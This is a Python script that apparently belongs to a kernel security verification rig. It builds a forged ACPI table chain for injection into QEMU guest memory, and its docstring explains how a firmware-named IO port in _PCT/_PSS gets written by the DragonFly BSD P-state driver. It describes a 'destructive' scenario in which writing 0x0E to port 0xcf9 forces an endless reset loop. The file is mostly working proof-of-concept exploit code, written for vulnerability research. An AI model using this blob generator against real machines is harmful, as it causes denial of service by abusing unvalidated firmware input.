DF-5483 / gen_pstate.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | #!/usr/bin/env python3 """ gen_pstate.py -- craft a full RSDP->RSDT->[FACP->FACS+DSDT, MADT] chain for the DF-5483 verification rig (sys/platform/pc64/acpica/acpi_pstate_machdep.c: the _PCT/_PSS firmware-ABI trust surface of the ACPI P-state driver). Injection model (identical to the proven madt-batch vector, DF-5430..5433): - guest booted with loader kenv hint.acpi.0.rsdp=0x40000000 (sys/platform/pc64/acpica/acpi_sdt.c -- hinted RSDP accepted with NO signature and NO checksum validation) - QEMU -device loader,file=<blob>,addr=0x40000000,force-raw=on plants the chain in guest RAM before firmware handoff. The DSDT (built separately with iasl from dsdt_template.dsl) defines \\_SB.CPUS.C000..C005, each carrying _PCT (two SystemIO GAS buffers: ctrl port + status port) and _PSS (one P-state whose *control value* is the byte the kernel will push into the ctrl port). Expected kernel behavior on this chain: acpi_pst_probe/attach (acpi_cpu_pstate.c) -> 6 cpu_pst devices acpi_pst_alloc_resource -> acpi_bus_alloc_gas (acpi.c:1251) -> bus_alloc_resource(SYS_RES_IOPORT, port, len=BitWidth/8) NO validation of WHICH port the firmware named (only rman availability) acpi_pst_intel_check_csr (acpi_pstate_machdep.c:431) -> SystemIO accepted, gas_verify only checks width arithmetic, not the port identity acpi_pst_postattach -> acpi_pst_global_set_pstate(0) [boot, unattended] -> acpi_pst_intel_set_pstate (acpi_pstate_machdep.c:520) -> acpi_pst_md_res_write (:631) -> bus_space_write_1(port, _PSS cval) Scenario 'control': ctrl=0x80 (POST port), cval=0xAA -- boots normally, cpu_pst attaches, px_dom sysctls appear, kernel wrote 0xAA to port 0x80 at boot (harmless) and re-writes on every px_global sysctl write. Scenario 'destructive': ctrl=0xcf9 (reset control), cval=0x0E -- the very first P-state transition at boot executes outb(0xcf9, 0x0E) -> guest hard-resets in an endless loop while the chain is loaded: arbitrary firmware- chosen IO-port write by the kernel, unattended. """ import struct import sys BASE = 0x40000000 RSDP_OFF = 0x0000 RSDT_OFF = 0x0100 FADT_OFF = 0x0200 FACS_OFF = 0x0280 MADT_OFF = 0x0400 DSDT_OFF = 0x1000 def csum(b): return (-sum(b)) & 0xFF def sdth(sig, length, rev): h = bytearray(36) h[0:4] = sig struct.pack_into('<I', h, 4, length) h[8] = rev h[9] = 0 h[10:16] = b'DFBSD ' h[17:21] = b'PASS' struct.pack_into('<I', h, 21, 1) h[25:29] = b'IACT' struct.pack_into('<I', h, 29, 1) return h def build(dsdt, ncpu=6): # MADT: ncpu LAPIC entries (BSP apic id 0 first, all enabled) + the real # QEMU IOAPIC so that PCI interrupts keep working (madt-batch 'control'). ent = b'' for i in range(ncpu): ent += struct.pack('<BBBBI', 0, 8, i, i, 1) # LAPIC ent += struct.pack('<BBBBII', 1, 12, 0, 0, 0xFEC00000, 0) # IOAPIC madt = sdth(b'APIC', 44 + len(ent), 3) + bytearray(8) struct.pack_into('<I', madt, 36, 0xFEE00000) struct.pack_into('<I', madt, 40, 1) madt += ent madt[9] = csum(madt) # FACS (64 bytes, everything zeroed) facs = bytearray(64) facs[0:4] = b'FACS' struct.pack_into('<I', facs, 4, 64) # FADT rev1 (128 bytes): PM registers cloned from the guest's real # SeaBIOS/QEMU FADT (read from /dev/mem @0xBFFE1B38) so that # AcpiEnableSubsystem() finds working PM1/GPE blocks; DSDT pointer ours. fadt = sdth(b'FACP', 128, 1) fadt += bytearray(128 - 36) struct.pack_into('<I', fadt, 36, BASE + FACS_OFF) # FIRMWARE_CTRL struct.pack_into('<I', fadt, 40, BASE + DSDT_OFF) # DSDT fadt[44] = 1 # INT_MODEL (QEMU) fadt[45] = 0 # profile struct.pack_into('<H', fadt, 46, 9) # SCI_INT struct.pack_into('<I', fadt, 48, 0xb2) # SMI_CMD (QEMU) fadt[52] = 0xf1 # ACPI_ENABLE fadt[53] = 0xf0 # ACPI_DISABLE struct.pack_into('<I', fadt, 56, 0x600) # PM1a_EVT_BLK struct.pack_into('<I', fadt, 64, 0x604) # PM1a_CNT_BLK struct.pack_into('<I', fadt, 76, 0x608) # PM_TMR_BLK struct.pack_into('<I', fadt, 80, 0xafe0) # GPE0_BLK fadt[88] = 4 # PM1_EVT_LEN fadt[89] = 2 # PM1_CNT_LEN fadt[91] = 4 # PM_TMR_LEN fadt[92] = 4 # GPE0_BLK_LEN struct.pack_into('<I', fadt, 96, 0x0fff) # P_LVL2_LAT struct.pack_into('<I', fadt, 100, 0x0fff) # P_LVL3_LAT fadt[9] = csum(fadt) # RSDT: FACP + APIC rsdt = sdth(b'RSDT', 36 + 8, 1) + bytearray(8) struct.pack_into('<I', rsdt, 36, BASE + FADT_OFF) struct.pack_into('<I', rsdt, 40, BASE + MADT_OFF) rsdt[9] = csum(rsdt) # RSDP v1 (20 bytes) rsdp = bytearray(20) rsdp[0:8] = b'RSD PTR ' rsdp[8] = 0 rsdp[9:15] = b'DFBSD ' rsdp[15] = 0 struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF) blob = bytearray(DSDT_OFF + len(dsdt)) blob[RSDP_OFF:RSDP_OFF + 20] = rsdp blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt blob[FADT_OFF:FADT_OFF + len(fadt)] = fadt blob[FACS_OFF:FACS_OFF + len(facs)] = facs blob[MADT_OFF:MADT_OFF + len(madt)] = madt blob[DSDT_OFF:DSDT_OFF + len(dsdt)] = dsdt return bytes(blob) if __name__ == '__main__': aml_file, out = sys.argv[1], sys.argv[2] with open(aml_file, 'rb') as f: dsdt = f.read() assert dsdt[:4] == b'DSDT', 'not a DSDT' with open(out, 'wb') as f: f.write(build(dsdt)) sys.stderr.write('blob: %d bytes (DSDT %d)\n' % (DSDT_OFF + len(dsdt), len(dsdt))) |